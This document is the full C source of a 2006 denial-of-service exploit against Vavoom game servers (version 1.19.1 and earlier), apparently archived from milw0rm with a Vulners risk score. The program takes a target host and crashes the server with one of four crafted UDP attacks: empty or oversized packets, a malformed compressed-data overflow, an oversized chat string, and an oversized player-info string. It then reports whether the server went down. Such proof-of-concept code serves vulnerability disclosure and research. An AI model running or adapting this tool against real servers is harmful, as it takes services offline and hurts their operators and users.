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Vavoom <= 1.19.1 [Multiple Vulnerabilities] Denial of Service Exploit
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <zlib.h>
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
#define close closesocket
#define ONESEC 1000
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/param.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#endif
#define VER "0.1"
#define PORT 26000
#define BUFFSZ 8192
#define MAXSZ (0x7ff - NET_HEADERSIZE) // this is the max
#define BOFSZ 1040 // less than CBOFSZ and major than MAX_DATAGRAM
#define CBOFSZ 0x7ff // 1200 (or less) is enough
#define FLAGZ(x,y) x | (y & NETFLAG_COMPR_LEN_MASK) | ((len << 16) & NETFLAG_LENGTH_MASK)
#define NICK "\\class\\0" \
"\\color\\0" \
"\\name\\"
#define NET_HEADERSIZE 10
#define MAX_DATAGRAM 1024
#define MAX_INFO_STRING 1024
#define MaxSize 4096
enum {
clc_bad,
clc_nop,
clc_disconnect,
clc_move,
clc_stringcmd,
clc_player_info,
};
// NetHeader flags
#define NETFLAG_COMPR_LEN_MASK 0x000007ff
#define NETFLAG_COMPR_MODE_MASK 0x0000f800
#define NETFLAG_LENGTH_MASK 0x07ff0000
#define NETFLAG_FLAGS_MASK 0xf8000000
#define NETFLAG_COMPR_NONE 0x00000000
#define NETFLAG_COMPR_ZIP 0x00000800
#define NETFLAG_EOM 0x08000000
#define NETFLAG_ACK 0x10000000
#define NETFLAG_DATA 0x20000000
#define NETFLAG_UNRELIABLE 0x40000000
#define NETFLAG_CTL 0x80000000
// Client request
#define CCREQ_CONNECT 1
#define CCREQ_SERVER_INFO 2
// Server reply
#define CCREP_ACCEPT 11
#define CCREP_REJECT 12
#define CCREP_SERVER_INFO 13
int info_proto(u_char *data, int len);
u_short vavoom_crc(u_char *data, int len);
int mycpy(u_char *dst, u_char *src);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err);
int timeout(int sock, int sec);
u_int resolv(char *host);
void std_err(void);
struct sockaddr_in peer;
int main(int argc, char *argv[]) {
long clen;
u_int seed,
*flags,
*seq,
seqn;
int sd,
i,
len,
ulen,
ver = 1,
attack;
u_short port = PORT,
cport,
*crc;
u_char buff[BUFFSZ],
cbof[MAXSZ],
*p;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Vavoom <= 1.19.1 multiple vulnerabilities " VER "\n"
"by Luigi Auriemma\n"
"e-mail: [email protected]\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%hu)]\n"
"\n"
"Attack:\n"
" 1 = socket unreachable through empty or big packet\n"
" 2 = decompression crash (unexploitable buffer-overflow)\n"
" 3 = SV_BroadcastPrintf / Serialize crash (caused by bug 2)\n"
" 4 = SV_SetUserInfo crash / Info_SetValueForKey: oversize infostring\n"
" (caused by bug 2)\n"
"\n", argv[0], port);
exit(1);
}
attack = atoi(argv[1]);
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
flags = (u_int *)buff;
seq = (u_int *)(buff + 4);
crc = (u_short *)(buff + 8);
seed = time(NULL);
printf("- query server:\n");
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
p = buff + 4;
*p++ = CCREQ_SERVER_INFO;
p += mycpy(p, "VAVOOM");
*p++ = ver;
len = p - buff;
*flags = htonl(FLAGZ(NETFLAG_CTL, 0));
len = send_recv(sd, buff, len, buff, sizeof(buff), 1);
close(sd);
ver = info_proto(buff, len);
if(attack == 1) {
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
printf("- send zero length packet\n");
send_recv(sd, buff, 0, buff, sizeof(buff), 0);
printf("- send big packet\n");
send_recv(sd, buff, MaxSize + 1, buff, sizeof(buff), 0);
close(sd);
goto quit;
}
printf("- start connection:\n");
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
printf("- send connection request\n");
p = buff + 4;
*p++ = CCREQ_CONNECT;
p += mycpy(p, "VAVOOM");
*p++ = ver;
len = p - buff;
*flags = htonl(FLAGZ(NETFLAG_CTL, 0));
len = send_recv(sd, buff, len, buff, sizeof(buff), 1);
if(buff[4] != CCREP_ACCEPT) {
printf("\nError: your connection has not been accepted\n\n");
exit(1);
}
cport = *(u_short *)(buff + 5); // I don't know why this is not in network byte order
printf("- use server port %hu\n", cport);
peer.sin_port = htons(cport);
seqn = 0;
printf("- send ack\n"); // useless
p = buff + NET_HEADERSIZE;
len = p - buff;
*flags = htonl(FLAGZ(NETFLAG_ACK, 0));
*seq = seqn++;
*crc = htons(0);
len = send_recv(sd, buff, len, buff, sizeof(buff), 1);
if(attack == 2) {
printf("- lot of compressed data\n");
p = buff + NET_HEADERSIZE;
ulen = CBOFSZ; // uncompressed size
clen = MAXSZ; // compressed size (not important, just enough big)
memset(cbof, 'A', ulen);
compress(p, &clen, cbof, ulen);
p += clen;
len = p - buff;
*flags = htonl(FLAGZ(NETFLAG_DATA | NETFLAG_UNRELIABLE | NETFLAG_COMPR_ZIP, ulen));
*seq = seqn++;
*crc = htons(vavoom_crc(buff + NET_HEADERSIZE, len - NET_HEADERSIZE));
} else if(attack == 3) {
printf("- big say string\n");
p = buff + NET_HEADERSIZE;
ulen = BOFSZ;
clen = MAXSZ;
*cbof = clc_stringcmd;
memset(cbof + 1, 'A', ulen);
memcpy(cbof + 1, "Say ", 4);
cbof[ulen - 1] = 0;
compress(p, &clen, cbof, ulen);
p += clen;
len = p - buff;
*flags = htonl(FLAGZ(NETFLAG_DATA | NETFLAG_UNRELIABLE | NETFLAG_COMPR_ZIP, ulen));
*seq = seqn++;
*crc = htons(vavoom_crc(buff + NET_HEADERSIZE, len - NET_HEADERSIZE));
} else if(attack == 4) {
printf("- big user info\n");
p = buff + NET_HEADERSIZE;
ulen = BOFSZ;
clen = MAXSZ;
*cbof = clc_player_info;
memset(cbof + 1, 'A', ulen);
memcpy(cbof + 1, NICK, sizeof(NICK) - 1);
cbof[ulen - 1] = 0;
compress(p, &clen, cbof, ulen);
p += clen;
len = p - buff;
*flags = htonl(FLAGZ(NETFLAG_DATA | NETFLAG_UNRELIABLE | NETFLAG_COMPR_ZIP, ulen));
*seq = seqn++;
*crc = htons(vavoom_crc(buff + NET_HEADERSIZE, len - NET_HEADERSIZE));
} else {
printf("\nError: wrong attack number (%d)\n\n", attack);
exit(1);
}
len = send_recv(sd, buff, len, buff, sizeof(buff), 0);
if(len < 0) {
printf("- no reply from the server\n");
}
close(sd);
quit:
printf("- wait some seconds\n");
for(i = 3; i; i--) {
printf("%d\r", i);
sleep(ONESEC);
}
printf("- check server:\n");
peer.sin_port = htons(port);
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
p = buff + 4;
*p++ = CCREQ_SERVER_INFO;
p += mycpy(p, "VAVOOM");
*p++ = ver;
len = p - buff;
*flags = htonl(FLAGZ(NETFLAG_CTL, 0));
if(send_recv(sd, buff, len, buff, sizeof(buff), 0) < 0) {
printf("\n Server IS vulnerable!!!\n\n");
} else {
printf("\n Server does not seem vulnerable\n\n");
}
close(sd);
return(0);
}
int info_proto(u_char *data, int len) {
u_int flags;
int ver;
u_char cmd,
*limit;
limit = data + len;
flags = *(u_int *)data; data += 4;
cmd = *data; data++;
printf(" Hostname %s\n", data); data += strlen(data) + 1;
printf(" Level %s\n", data); data += strlen(data) + 1;
printf(" Players %hhu/%hhu\n", data[0], data[1]); data += 2;
ver = *data; data++;
printf(" Version %d\n", ver);
printf(" Wads ");
while(data < limit) {
printf("%s", data); data += strlen(data) + 1;
if(!*data) break;
printf(", ");
}
printf("\n");
return(ver);
}
u_short vavoom_crc(u_char *data, int len) {
u_short crc;
const static u_short table[] = {
0x0000, 0x1021, 0x2042, 0x3063, 0x4084, 0x50a5, 0x60c6, 0x70e7,
0x8108, 0x9129, 0xa14a, 0xb16b, 0xc18c, 0xd1ad, 0xe1ce, 0xf1ef,
0x1231, 0x0210, 0x3273, 0x2252, 0x52b5, 0x4294, 0x72f7, 0x62d6,
0x9339, 0x8318, 0xb37b, 0xa35a, 0xd3bd, 0xc39c, 0xf3ff, 0xe3de,
0x2462, 0x3443, 0x0420, 0x1401, 0x64e6, 0x74c7, 0x44a4, 0x5485,
0xa56a, 0xb54b, 0x8528, 0x9509, 0xe5ee, 0xf5cf, 0xc5ac, 0xd58d,
0x3653, 0x2672, 0x1611, 0x0630, 0x76d7, 0x66f6, 0x5695, 0x46b4,
0xb75b, 0xa77a, 0x9719, 0x8738, 0xf7df, 0xe7fe, 0xd79d, 0xc7bc,
0x48c4, 0x58e5, 0x6886, 0x78a7, 0x0840, 0x1861, 0x2802, 0x3823,
0xc9cc, 0xd9ed, 0xe98e, 0xf9af, 0x8948, 0x9969, 0xa90a, 0xb92b,
0x5af5, 0x4ad4, 0x7ab7, 0x6a96, 0x1a71, 0x0a50, 0x3a33, 0x2a12,
0xdbfd, 0xcbdc, 0xfbbf, 0xeb9e, 0x9b79, 0x8b58, 0xbb3b, 0xab1a,
0x6ca6, 0x7c87, 0x4ce4, 0x5cc5, 0x2c22, 0x3c03, 0x0c60, 0x1c41,
0xedae, 0xfd8f, 0xcdec, 0xddcd, 0xad2a, 0xbd0b, 0x8d68, 0x9d49,
0x7e97, 0x6eb6, 0x5ed5, 0x4ef4, 0x3e13, 0x2e32, 0x1e51, 0x0e70,
0xff9f, 0xefbe, 0xdfdd, 0xcffc, 0xbf1b, 0xaf3a, 0x9f59, 0x8f78,
0x9188, 0x81a9, 0xb1ca, 0xa1eb, 0xd10c, 0xc12d, 0xf14e, 0xe16f,
0x1080, 0x00a1, 0x30c2, 0x20e3, 0x5004, 0x4025, 0x7046, 0x6067,
0x83b9, 0x9398, 0xa3fb, 0xb3da, 0xc33d, 0xd31c, 0xe37f, 0xf35e,
0x02b1, 0x1290, 0x22f3, 0x32d2, 0x4235, 0x5214, 0x6277, 0x7256,
0xb5ea, 0xa5cb, 0x95a8, 0x8589, 0xf56e, 0xe54f, 0xd52c, 0xc50d,
0x34e2, 0x24c3, 0x14a0, 0x0481, 0x7466, 0x6447, 0x5424, 0x4405,
0xa7db, 0xb7fa, 0x8799, 0x97b8, 0xe75f, 0xf77e, 0xc71d, 0xd73c,
0x26d3, 0x36f2, 0x0691, 0x16b0, 0x6657, 0x7676, 0x4615, 0x5634,
0xd94c, 0xc96d, 0xf90e, 0xe92f, 0x99c8, 0x89e9, 0xb98a, 0xa9ab,
0x5844, 0x4865, 0x7806, 0x6827, 0x18c0, 0x08e1, 0x3882, 0x28a3,
0xcb7d, 0xdb5c, 0xeb3f, 0xfb1e, 0x8bf9, 0x9bd8, 0xabbb, 0xbb9a,
0x4a75, 0x5a54, 0x6a37, 0x7a16, 0x0af1, 0x1ad0, 0x2ab3, 0x3a92,
0xfd2e, 0xed0f, 0xdd6c, 0xcd4d, 0xbdaa, 0xad8b, 0x9de8, 0x8dc9,
0x7c26, 0x6c07, 0x5c64, 0x4c45, 0x3ca2, 0x2c83, 0x1ce0, 0x0cc1,
0xef1f, 0xff3e, 0xcf5d, 0xdf7c, 0xaf9b, 0xbfba, 0x8fd9, 0x9ff8,
0x6e17, 0x7e36, 0x4e55, 0x5e74, 0x2e93, 0x3eb2, 0x0ed1, 0x1ef0
};
crc = 0xffff;
while(len--) {
crc = (crc << 8) ^ table[(crc >> 8) ^ *data];
data++;
}
return(crc);
}
int mycpy(u_char *dst, u_char *src) {
u_char *p;
for(p = dst; *src; src++, p++) {
*p = *src;
}
*p++ = 0;
return(p - dst);
}
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err) {
int retry,
len;
if(in) {
for(retry = 3; retry; retry--) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(!timeout(sd, 2)) break;
}
if(!retry) {
if(!err) return(-1);
fputs("\nError: socket timeout, no reply received\n\n", stdout);
exit(1);
}
} else {
if(timeout(sd, 3) < 0) return(-1);
}
len = recvfrom(sd, out, outsz, 0, NULL, NULL);
if(len < 0) std_err();
return(len);
}
int timeout(int sock, int sec) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = sec;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2006-03-26]
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26 Mar 2006 00:00Current
7.1High risk
Vulners AI Score7.1